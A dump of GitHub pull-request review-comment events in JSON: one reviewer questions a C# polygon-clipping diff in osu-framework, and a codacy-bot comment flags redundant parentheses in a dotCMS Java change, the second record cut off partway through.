{"action":"created","comment":{"url":"https://api.github.com/repos/ppy/osu-framework/pulls/comments/272884091","pull_request_review_id":223640684,"id":272884091,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3Mjg4NDA5MQ==","diff_hunk":"@@ -63,5 +63,167 @@ private static Span<Vector2> getAxes(ReadOnlySpan<Vector2> vertices, Span<Vector\n \n return buffer.Slice(0, vertices.Length);\n }\n+\n+ /// <summary>\n+ /// Determines the minimum buffer size required to clip two polygons.\n+ /// </summary>\n+ /// <param name=\"clipPolygon\">The polygon that will be used to clip.</param>\n+ /// <param name=\"subjectPolygon\">The polygon that will be clipped.</param>\n+ /// <returns>The minimum buffer size required for <paramref name=\"clipPolygon\"/> to clip <paramref name=\"subjectPolygon\"/>.</returns>\n+ public static int GetClipBufferSize<TPolygon1, TPolygon2>(this TPolygon1 clipPolygon, TPolygon2 subjectPolygon)\n+ where TPolygon1 : IPolygon\n+ where TPolygon2 : IPolygon\n+ {\n+ if (clipPolygon is IConvexPolygon && subjectPolygon is IConvexPolygon)\n+ {\n+ // If both polygons are convex, there can only be at most 2 intersections for each edge of the subject\n+ return subjectPolygon.GetVertices().Length * 2;\n+ }\n+\n+ // If both polygons are non-convex, each edge of one may intersect with each edge of the other, leading to at most n^2 vertices\n+ // For simplicity, the case where only one of the two is non-convex is also covered under this case\n+ return clipPolygon.GetVertices().Length * subjectPolygon.GetVertices().Length;\n+ }\n+\n+ /// <summary>\n+ /// Clips a polygon by another.\n+ /// </summary>\n+ /// <param name=\"clipPolygon\">The polygon that will clip the subject.</param>\n+ /// <param name=\"subjectPolygon\">The polygon that will be clipped.</param>\n+ /// <returns>A clockwise-ordered set of vertices representing the result of clipping <paramref name=\"subjectPolygon\"/> by <paramref name=\"clipPolygon\"/>.</returns>\n+ public static Span<Vector2> Clip<TPolygon1, TPolygon2>(this TPolygon1 clipPolygon, TPolygon2 subjectPolygon)\n+ where TPolygon1 : IPolygon\n+ where TPolygon2 : IPolygon\n+ => clipPolygon.Clip(subjectPolygon, new Vector2[clipPolygon.GetClipBufferSize(subjectPolygon)]);\n+\n+ /// <summary>\n+ /// Clips a polygon by another.\n+ /// </summary>\n+ /// <param name=\"clipPolygon\">The polygon that will clip the subject.</param>\n+ /// <param name=\"subjectPolygon\">The polygon that will be clipped.</param>\n+ /// <param name=\"buffer\">The buffer to contain the clipped vertices. Must have a length of <see cref=\"GetClipBufferSize{TPolygon1,TPolygon2}\"/>.</param>\n+ /// <returns>A clockwise-ordered set of vertices representing the result of clipping <paramref name=\"subjectPolygon\"/> by <paramref name=\"clipPolygon\"/>.</returns>","path":"osu.Framework/Extensions/PolygonExtensions/PolygonExtensions.cs","position":43,"original_position":43,"commit_id":"711434a19e7989ea72f161401a6fcf1c0c97dcc6","original_commit_id":"711434a19e7989ea72f161401a6fcf1c0c97dcc6","user":{"login":"ekrctb","id":32995012,"node_id":"MDQ6VXNlcjMyOTk1MDEy","avatar_url":"https://avatars1.githubusercontent.com/u/32995012?v=4","gravatar_id":"","url":"https://api.github.com/users/ekrctb","html_url":"https://github.com/ekrctb","followers_url":"https://api.github.com/users/ekrctb/followers","following_url":"https://api.github.com/users/ekrctb/following{/other_user}","gists_url":"https://api.github.com/users/ekrctb/gists{/gist_id}","starred_url":"https://api.github.com/users/ekrctb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ekrctb/subscriptions","organizations_url":"https://api.github.com/users/ekrctb/orgs","repos_url":"https://api.github.com/users/ekrctb/repos","events_url":"https://api.github.com/users/ekrctb/events{/privacy}","received_events_url":"https://api.github.com/users/ekrctb/received_events","type":"User","site_admin":false},"body":"What happens when the result have multiple disjoint components?\r\nIn the first place, should we support non-convex polygons? There is a linear time convex polygon intersection algorithm.","created_at":"2019-04-08T04:43:29Z","updated_at":"2019-04-08T04:52:31Z","html_url":"https://github.com/ppy/osu-framework/pull/2341#discussion_r272884091","pull_request_url":"https://api.github.com/repos/ppy/osu-framework/pulls/2341","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/ppy/osu-framework/pulls/comments/272884091"},"html":{"href":"https://github.com/ppy/osu-framework/pull/2341#discussion_r272884091"},"pull_request":{"href":"https://api.github.com/repos/ppy/osu-framework/pulls/2341"}}},"pull_request":{"url":"https://api.github.com/repos/ppy/osu-framework/pulls/2341","id":268094113,"node_id":"MDExOlB1bGxSZXF1ZXN0MjY4MDk0MTEz","html_url":"https://github.com/ppy/osu-framework/pull/2341","diff_url":"https://github.com/ppy/osu-framework/pull/2341.diff","patch_url":"https://github.com/ppy/osu-framework/pull/2341.patch","issue_url":"https://api.github.com/repos/ppy/osu-framework/issues/2341","number":2341,"state":"open","locked":false,"title":"Implement polygon clipping","user":{"login":"smoogipoo","id":1329837,"node_id":"MDQ6VXNlcjEzMjk4Mzc=","avatar_url":"https://avatars0.githubusercontent.com/u/1329837?v=4","gravatar_id":"","url":"https://api.github.com/users/smoogipoo","html_url":"https://github.com/smoogipoo","followers_url":"https://api.github.com/users/smoogipoo/followers","following_url":"https://api.github.com/users/smoogipoo/following{/other_user}","gists_url":"https://api.github.com/users/smoogipoo/gists{/gist_id}","starred_url":"https://api.github.com/users/smoogipoo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smoogipoo/subscriptions","organizations_url":"https://api.github.com/users/smoogipoo/orgs","repos_url":"https://api.github.com/users/smoogipoo/repos","events_url":"https://api.github.com/users/smoogipoo/events{/privacy}","received_events_url":"https://api.github.com/users/smoogipoo/received_events","type":"User","site_admin":false},"body":"Prereqs:\r\n- [ ] https://github.com/ppy/osu-framework/pull/2335\r\n\r\nUses the [Sutherland-Hodgman](https://en.wikipedia.org/wiki/Sutherland%E2%80%93Hodgman_algorithm) algorithm for simplicity.\r\n\r\nBenchmark of clipping a single quad via local stack-allocated buffer:\r\n\r\n| Method | Mean | Error | StdDev | Gen 0 | Gen 1 | Gen 2 | Allocated |\r\n|------- |---------:|---------:|---------:|------:|------:|------:|----------:|\r\n| Quads | 768.9 ns | 3.601 ns | 3.192 ns | - | - | - | - |\r\n","created_at":"2019-04-07T09:44:11Z","updated_at":"2019-04-08T04:52:31Z","closed_at":null,"merged_at":null,"merge_commit_sha":"f0d0f8b068e61bc15b776d89f48c210fc97eaa19","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":957831621,"node_id":"MDU6TGFiZWw5NTc4MzE2MjE=","url":"https://api.github.com/repos/ppy/osu-framework/labels/graphics","name":"graphics","color":"9582e0","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/ppy/osu-framework/pulls/2341/commits","review_comments_url":"https://api.github.com/repos/ppy/osu-framework/pulls/2341/comments","review_comment_url":"https://api.github.com/repos/ppy/osu-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ppy/osu-framework/issues/2341/comments","statuses_url":"https://api.github.com/repos/ppy/osu-framework/statuses/711434a19e7989ea72f161401a6fcf1c0c97dcc6","head":{"label":"smoogipoo:polygon-clipping","ref":"polygon-clipping","sha":"711434a19e7989ea72f161401a6fcf1c0c97dcc6","user":{"login":"smoogipoo","id":1329837,"node_id":"MDQ6VXNlcjEzMjk4Mzc=","avatar_url":"https://avatars0.githubusercontent.com/u/1329837?v=4","gravatar_id":"","url":"https://api.github.com/users/smoogipoo","html_url":"https://github.com/smoogipoo","followers_url":"https://api.github.com/users/smoogipoo/followers","following_url":"https://api.github.com/users/smoogipoo/following{/other_user}","gists_url":"https://api.github.com/users/smoogipoo/gists{/gist_id}","starred_url":"https://api.github.com/users/smoogipoo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smoogipoo/subscriptions","organizations_url":"https://api.github.com/users/smoogipoo/orgs","repos_url":"https://api.github.com/users/smoogipoo/repos","events_url":"https://api.github.com/users/smoogipoo/events{/privacy}","received_events_url":"https://api.github.com/users/smoogipoo/received_events","type":"User","site_admin":false},"repo":{"id":67277282,"node_id":"MDEwOlJlcG9zaXRvcnk2NzI3NzI4Mg==","name":"osu-framework","full_name":"smoogipoo/osu-framework","private":false,"owner":{"login":"smoogipoo","id":1329837,"node_id":"MDQ6VXNlcjEzMjk4Mzc=","avatar_url":"https://avatars0.githubusercontent.com/u/1329837?v=4","gravatar_id":"","url":"https://api.github.com/users/smoogipoo","html_url":"https://github.com/smoogipoo","followers_url":"https://api.github.com/users/smoogipoo/followers","following_url":"https://api.github.com/users/smoogipoo/following{/other_user}","gists_url":"https://api.github.com/users/smoogipoo/gists{/gist_id}","starred_url":"https://api.github.com/users/smoogipoo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smoogipoo/subscriptions","organizations_url":"https://api.github.com/users/smoogipoo/orgs","repos_url":"https://api.github.com/users/smoogipoo/repos","events_url":"https://api.github.com/users/smoogipoo/events{/privacy}","received_events_url":"https://api.github.com/users/smoogipoo/received_events","type":"User","site_admin":false},"html_url":"https://github.com/smoogipoo/osu-framework","description":"A game framework written with osu! in mind.","fork":true,"url":"https://api.github.com/repos/smoogipoo/osu-framework","forks_url":"https://api.github.com/repos/smoogipoo/osu-framework/forks","keys_url":"https://api.github.com/repos/smoogipoo/osu-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/smoogipoo/osu-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/smoogipoo/osu-framework/teams","hooks_url":"https://api.github.com/repos/smoogipoo/osu-framework/hooks","issue_events_url":"https://api.github.com/repos/smoogipoo/osu-framework/issues/events{/number}","events_url":"https://api.github.com/repos/smoogipoo/osu-framework/events","assignees_url":"https://api.github.com/repos/smoogipoo/osu-framework/assignees{/user}","branches_url":"https://api.github.com/repos/smoogipoo/osu-framework/branches{/branch}","tags_url":"https://api.github.com/repos/smoogipoo/osu-framework/tags","blobs_url":"https://api.github.com/repos/smoogipoo/osu-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/smoogipoo/osu-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/smoogipoo/osu-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/smoogipoo/osu-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/smoogipoo/osu-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/smoogipoo/osu-framework/languages","stargazers_url":"https://api.github.com/repos/smoogipoo/osu-framework/stargazers","contributors_url":"https://api.github.com/repos/smoogipoo/osu-framework/contributors","subscribers_url":"https://api.github.com/repos/smoogipoo/osu-framework/subscribers","subscription_url":"https://api.github.com/repos/smoogipoo/osu-framework/subscription","commits_url":"https://api.github.com/repos/smoogipoo/osu-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/smoogipoo/osu-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/smoogipoo/osu-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/smoogipoo/osu-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/smoogipoo/osu-framework/contents/{+path}","compare_url":"https://api.github.com/repos/smoogipoo/osu-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/smoogipoo/osu-framework/merges","archive_url":"https://api.github.com/repos/smoogipoo/osu-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/smoogipoo/osu-framework/downloads","issues_url":"https://api.github.com/repos/smoogipoo/osu-framework/issues{/number}","pulls_url":"https://api.github.com/repos/smoogipoo/osu-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/smoogipoo/osu-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/smoogipoo/osu-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/smoogipoo/osu-framework/labels{/name}","releases_url":"https://api.github.com/repos/smoogipoo/osu-framework/releases{/id}","deployments_url":"https://api.github.com/repos/smoogipoo/osu-framework/deployments","created_at":"2016-09-03T07:26:53Z","updated_at":"2018-09-12T00:23:58Z","pushed_at":"2019-04-07T09:47:34Z","git_url":"git://github.com/smoogipoo/osu-framework.git","ssh_url":"git@github.com:smoogipoo/osu-framework.git","clone_url":"https://github.com/smoogipoo/osu-framework.git","svn_url":"https://github.com/smoogipoo/osu-framework","homepage":"","size":80903,"stargazers_count":0,"watchers_count":0,"language":"C#","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"ppy:master","ref":"master","sha":"48a028c77663514a6fc6f0890c5a2e5cc7802d71","user":{"login":"ppy","id":995763,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5NTc2Mw==","avatar_url":"https://avatars1.githubusercontent.com/u/995763?v=4","gravatar_id":"","url":"https://api.github.com/users/ppy","html_url":"https://github.com/ppy","followers_url":"https://api.github.com/users/ppy/followers","following_url":"https://api.github.com/users/ppy/following{/other_user}","gists_url":"https://api.github.com/users/ppy/gists{/gist_id}","starred_url":"https://api.github.com/users/ppy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ppy/subscriptions","organizations_url":"https://api.github.com/users/ppy/orgs","repos_url":"https://api.github.com/users/ppy/repos","events_url":"https://api.github.com/users/ppy/events{/privacy}","received_events_url":"https://api.github.com/users/ppy/received_events","type":"Organization","site_admin":false},"repo":{"id":66614524,"node_id":"MDEwOlJlcG9zaXRvcnk2NjYxNDUyNA==","name":"osu-framework","full_name":"ppy/osu-framework","private":false,"owner":{"login":"ppy","id":995763,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5NTc2Mw==","avatar_url":"https://avatars1.githubusercontent.com/u/995763?v=4","gravatar_id":"","url":"https://api.github.com/users/ppy","html_url":"https://github.com/ppy","followers_url":"https://api.github.com/users/ppy/followers","following_url":"https://api.github.com/users/ppy/following{/other_user}","gists_url":"https://api.github.com/users/ppy/gists{/gist_id}","starred_url":"https://api.github.com/users/ppy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ppy/subscriptions","organizations_url":"https://api.github.com/users/ppy/orgs","repos_url":"https://api.github.com/users/ppy/repos","events_url":"https://api.github.com/users/ppy/events{/privacy}","received_events_url":"https://api.github.com/users/ppy/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ppy/osu-framework","description":"A game framework written with osu! in mind.","fork":false,"url":"https://api.github.com/repos/ppy/osu-framework","forks_url":"https://api.github.com/repos/ppy/osu-framework/forks","keys_url":"https://api.github.com/repos/ppy/osu-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ppy/osu-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ppy/osu-framework/teams","hooks_url":"https://api.github.com/repos/ppy/osu-framework/hooks","issue_events_url":"https://api.github.com/repos/ppy/osu-framework/issues/events{/number}","events_url":"https://api.github.com/repos/ppy/osu-framework/events","assignees_url":"https://api.github.com/repos/ppy/osu-framework/assignees{/user}","branches_url":"https://api.github.com/repos/ppy/osu-framework/branches{/branch}","tags_url":"https://api.github.com/repos/ppy/osu-framework/tags","blobs_url":"https://api.github.com/repos/ppy/osu-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ppy/osu-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ppy/osu-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/ppy/osu-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ppy/osu-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/ppy/osu-framework/languages","stargazers_url":"https://api.github.com/repos/ppy/osu-framework/stargazers","contributors_url":"https://api.github.com/repos/ppy/osu-framework/contributors","subscribers_url":"https://api.github.com/repos/ppy/osu-framework/subscribers","subscription_url":"https://api.github.com/repos/ppy/osu-framework/subscription","commits_url":"https://api.github.com/repos/ppy/osu-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/ppy/osu-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/ppy/osu-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/ppy/osu-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/ppy/osu-framework/contents/{+path}","compare_url":"https://api.github.com/repos/ppy/osu-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ppy/osu-framework/merges","archive_url":"https://api.github.com/repos/ppy/osu-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ppy/osu-framework/downloads","issues_url":"https://api.github.com/repos/ppy/osu-framework/issues{/number}","pulls_url":"https://api.github.com/repos/ppy/osu-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/ppy/osu-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/ppy/osu-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ppy/osu-framework/labels{/name}","releases_url":"https://api.github.com/repos/ppy/osu-framework/releases{/id}","deployments_url":"https://api.github.com/repos/ppy/osu-framework/deployments","created_at":"2016-08-26T03:45:35Z","updated_at":"2019-04-08T00:40:05Z","pushed_at":"2019-04-08T02:07:04Z","git_url":"git://github.com/ppy/osu-framework.git","ssh_url":"git@github.com:ppy/osu-framework.git","clone_url":"https://github.com/ppy/osu-framework.git","svn_url":"https://github.com/ppy/osu-framework","homepage":"","size":78192,"stargazers_count":363,"watchers_count":363,"language":"C#","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":164,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":143,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":164,"open_issues":143,"watchers":363,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ppy/osu-framework/pulls/2341"},"html":{"href":"https://github.com/ppy/osu-framework/pull/2341"},"issue":{"href":"https://api.github.com/repos/ppy/osu-framework/issues/2341"},"comments":{"href":"https://api.github.com/repos/ppy/osu-framework/issues/2341/comments"},"review_comments":{"href":"https://api.github.com/repos/ppy/osu-framework/pulls/2341/comments"},"review_comment":{"href":"https://api.github.com/repos/ppy/osu-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ppy/osu-framework/pulls/2341/commits"},"statuses":{"href":"https://api.github.com/repos/ppy/osu-framework/statuses/711434a19e7989ea72f161401a6fcf1c0c97dcc6"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 66614524,
"name": "ppy/osu-framework",
"url": "https://api.github.com/repos/ppy/osu-framework"
}
|
{
"id": 32995012,
"login": "ekrctb",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/32995012?",
"url": "https://api.github.com/users/ekrctb"
}
|
{
"id": 995763,
"login": "ppy",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/995763?",
"url": "https://api.github.com/orgs/ppy"
}
| 2019-04-08T04:43:29 |
9395860930
|
{"actor":{"display_login":"ekrctb"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/dotCMS/core/pulls/comments/316247906","pull_request_review_id":277876083,"id":316247906,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMxNjI0NzkwNg==","diff_hunk":"@@ -369,7 +370,7 @@ private Container geContainerById(final String containerIdOrPath, final User use\n }\n }\n \n- contentMaps.put((uniqueId.startsWith(\"uuid-\")) ? uniqueId : \"uuid-\" + uniqueId, cListAsMaps);\n+ contentMaps.put((uniqueId.startsWith(CONTAINER_UUID_PREFIX)) ? uniqueId : CONTAINER_UUID_PREFIX + uniqueId, cListAsMaps);","path":"dotCMS/src/main/java/com/dotcms/rendering/velocity/services/PageRenderUtil.java","position":13,"original_position":13,"commit_id":"b9b85eeb98e23f00bd6211b0d4d3c50ae4d6e329","original_commit_id":"b9b85eeb98e23f00bd6211b0d4d3c50ae4d6e329","user":{"login":"codacy-bot","id":19940114,"node_id":"MDQ6VXNlcjE5OTQwMTE0","avatar_url":"https://avatars1.githubusercontent.com/u/19940114?v=4","gravatar_id":"","url":"https://api.github.com/users/codacy-bot","html_url":"https://github.com/codacy-bot","followers_url":"https://api.github.com/users/codacy-bot/followers","following_url":"https://api.github.com/users/codacy-bot/following{/other_user}","gists_url":"https://api.github.com/users/codacy-bot/gists{/gist_id}","starred_url":"https://api.github.com/users/codacy-bot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/codacy-bot/subscriptions","organizations_url":"https://api.github.com/users/codacy-bot/orgs","repos_url":"https://api.github.com/users/codacy-bot/repos","events_url":"https://api.github.com/users/codacy-bot/events{/privacy}","received_events_url":"https://api.github.com/users/codacy-bot/received_events","type":"User","site_admin":false},"body":" Issue found: [Useless parentheses.](https://app.codacy.com/app/dotCMS/core/pullRequest?prid=4029744)","created_at":"2019-08-21T15:22:30Z","updated_at":"2019-08-21T15:22:30Z","html_url":"https://github.com/dotCMS/core/pull/17036#discussion_r316247906","pull_request_url":"https://api.github.com/repos/dotCMS/core/pulls/17036","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/dotCMS/core/pulls/comments/316247906"},"html":{"href":"https://github.com/dotCMS/core/pull/17036#discussion_r316247906"},"pull_request":{"href":"https://api.github.com/repos/dotCMS/core/pulls/17036"}}},"pull_request":{"url":"https://api.github.com/repos/dotCMS/core/pulls/17036","id":308761529,"node_id":"MDExOlB1bGxSZXF1ZXN0MzA4NzYxNTI5","html_url":"https://github.com/dotCMS/core/pull/17036","diff_url":"https://github.com/dotCMS/core/pull/17036.diff","patch_url":"https://github.com/dotCMS/core/pull/17036.patch","issue_url":"https://api.github.com/repos/dotCMS/core/issues/17036","number":17036,"state":"open","locked":false,"title":"dotCMS/core#16767 Set edit mode and save content to selected persona","user":{"login":"freddyucv","id":10408015,"node_id":"MDQ6VXNlcjEwNDA4MDE1","avatar_url":"https://avatars1.githubusercontent.com/u/10408015?v=4","gravatar_id":"","url":"https://api.github.com/users/freddyucv","html_url":"https://github.com/freddyucv","followers_url":"https://api.github.com/users/freddyucv/followers","following_url":"https://api.github.com/users/freddyucv/following{/other_user}","gists_url":"https://api.github.com/users/freddyucv/gists{/gist_id}","starred_url":"https://api.github.com/users/freddyucv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/freddyucv/subscriptions","organizations_url":"https://api.github.com/users/freddyucv/orgs","repos_url":"https://api.github.com/users/freddyucv/repos","events_url":"https://api.github.com/users/freddyucv/events{/privacy}","received_events_url":"https://api.github.com/users/freddyucv/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-08-19T20:05:32Z","updated_at":"2019-08-21T15:22:30Z","closed_at":null,"merged_at":null,"merge_commit_sha":"913c7cf06445c74d760cf6301587f004a6448f31","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/dotCMS/core/pulls/17036/commits","review_comments_url":"https://api.github.com/repos/dotCMS/core/pulls/17036/comments","review_comment_url":"https://api.github.com/repos/dotCMS/core/pulls/comments{/number}","comments_url":"https://api.github.com/repos/dotCMS/core/issues/17036/comments","statuses_url":"https://api.github.com/repos/dotCMS/core/statuses/b9b85eeb98e23f00bd6211b0d4d3c50ae4d6e329","head":{"label":"dotCMS:issue-16767-Set-edit-mode-and-save-content-to-selected-persona","ref":"issue-16767-Set-edit-mode-and-save-content-to-selected-persona","sha":"b9b85eeb98e23f00bd6211b0d4d3c50ae4d6e329","user":{"login":"dotCMS","id":1005263,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDUyNjM=","avatar_url":"https://avatars3.githubusercontent.com/u/1005263?v=4","gravatar_id":"","url":"https://api.github.com/users/dotCMS","html_url":"https://github.com/dotCMS","followers_url":"https://api.github.com/users/dotCMS/followers","following_url":"https://api.github.com/users/dotCMS/following{/other_user}","gists_url":"https://api.github.com/users/dotCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/dotCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dotCMS/subscriptions","organizations_url":"https://api.github.com/users/dotCMS/orgs","repos_url":"https://api.github.com/users/dotCMS/repos","events_url":"https://api.github.com/users/dotCMS/events{/privacy}","received_events_url":"https://api.github.com/users/dotCMS/received_events","type":"Organization","site_admin":false},"repo":{"id":3729629,"node_id":"MDEwOlJlcG9zaXRvcnkzNzI5NjI5","name":"core","full_name":"dotCMS/core","private":false,"owner":{"login":"dotCMS","id":1005263,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDUyNjM=","avatar_url":"https://avatars3.githubusercontent.com/u/1005263?v=4","gravatar_id":"","url":"https://api.github.com/users/dotCMS","html_url":"https://github.com/dotCMS","followers_url":"https://api.github.com/users/dotCMS/followers","following_url":"https://api.github.com/users/dotCMS/following{/other_user}","gists_url":"https://api.github.com/users/dotCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/dotCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dotCMS/subscriptions","organizations_url":"https://api.github.com/users/dotCMS/orgs","repos_url":"https://api.github.com/users/dotCMS/repos","events_url":"https://api.github.com/users/dotCMS/events{/privacy}","received_events_url":"https://api.github.com/users/dotCMS/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/dotCMS/core","description":"Source Code for dotCMS Java Enterprise Content Management System","fork":false,"url":"https://api.github.com/repos/dotCMS/core","forks_url":"https://api.github.com/repos/dotCMS/core/forks","keys_url":"https://api.github.com/repos/dotCMS/core/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dotCMS/core/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dotCMS/core/teams","hooks_url":"https://api.github.com/repos/dotCMS/core/hooks","issue_events_url":"https://api.github.com/repos/dotCMS/core/issues/events{/number}","events_url":"https://api.github.com/repos/dotCMS/core/events","assignees_url":"https://api.github.com/repos/dotCMS/core/assignees{/user}","branches_url":"https://api.github.com/repos/dotCMS/core/branches{/branch}","tags_url":"https://api.github.com/repos/dotCMS/core/tags","blobs_url":"https://api.github.com/repos/dotCMS/core/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dotCMS/core/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dotCMS/core/git/refs{/sha}","trees_url":"https://api.github.com/repos/dotCMS/core/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dotCMS/core/statuses/{sha}","languages_url":"https://api.github.com/repos/dotCMS/core/languages","stargazers_url":"https://api.github.com/repos/dotCMS/core/stargazers","contributors_url":"https://api.github.com/repos/dotCMS/core/contributors","subscribers_url":"https://api.github.com/repos/dotCMS/core/subscribers","subscription_url":"https://api.github.com/repos/dotCMS/core/subscription","commits_url":"https://api.github.com/repos/dotCMS/core/commits{/sha}","git_commits_url":"https://api.github.com/repos/dotCMS/core/git/commits{/sha}","comments_url":"https://api.github.com/repos/dotCMS/core/comments{/number}","issue_comment_url":"https://api.github.com/repos/dotCMS/core/issues/comments{/number}","contents_url":"https://api.github.com/repos/dotCMS/core/contents/{+path}","compare_url":"https://api.github.com/repos/dotCMS/core/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dotCMS/core/merges","archive_url":"https://api.github.com/repos/dotCMS/core/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dotCMS/core/downloads","issues_url":"https://api.github.com/repos/dotCMS/core/issues{/number}","pulls_url":"https://api.github.com/repos/dotCMS/core/pulls{/number}","milestones_url":"https://api.github.com/repos/dotCMS/core/milestones{/number}","notifications_url":"https://api.github.com/repos/dotCMS/core/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dotCMS/core/labels{/name}","releases_url":"https://api.github.com/repos/dotCMS/core/releases{/id}","deployments_url":"https://api.github.com/repos/dotCMS/core/deployments","created_at":"2012-03-15T15:24:14Z","updated_at":"2019-08-21T06:10:48Z","pushed_at":"2019-08-21T15:19:44Z","git_url":"git://github.com/dotCMS/core.git","ssh_url":"git@github.com:dotCMS/core.git","clone_url":"https://github.com/dotCMS/core.git","svn_url":"https://github.com/dotCMS/core","homepage":"http://dotcms.com","size":380327,"stargazers_count":505,"watchers_count":505,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":350,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2138,"license":{"key":"gpl-3.0","name":"GNU General Public License v3.0","spdx_id":"GPL-3.0","url":"https://api.github.com/licenses/gpl-3.0","node_id":"MDc6TGljZW5zZTk="},"forks":350,"open_issues":2138,"watchers":505,"default_branch":"master"}},"base":{"label":"dotCMS:master","ref":"master","sha":"b7ccb2d742fef31604504a1e6b6a3819d31767a9","user":{"login":"dotCMS","id":1005263,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDUyNjM=","avatar_url":"https://avatars3.githubusercontent.com/u/1005263?v=4","gravatar_id":"","url":"https://api.github.com/users/dotCMS","html_url":"https://github.com/dotCMS","followers_url":"https://api.github.com/users/dotCMS/followers","following_url":"https://api.github.com/users/dotCMS/following{/other_user}","gists_url":"https://api.github.com/users/dotCMS/gists{/gist_id}","starred_url":"https://api.github.com/users/dotCMS/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dotCMS/subscriptions","organizations_url":"https://api.github.com/users/dotCMS/orgs","repos_url":"https://api.github.com/users/dotCMS/repos","events_url":"https://api.github.com/users/dotCMS/events{/privacy}","received_events_url":"https://api.github.com/users/dotCMS/received_events","type":"Organization","site_admin":false},"repo":{"id":3729629,"node_id":"MDEwOlJlcG9zaXRvcnkzNzI5NjI5","name":"core","full_name":"dotCMS/core","private":false,"owner":{"login":"dotCMS","id":1005263,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDUyNjM=","avatar_url":"https://a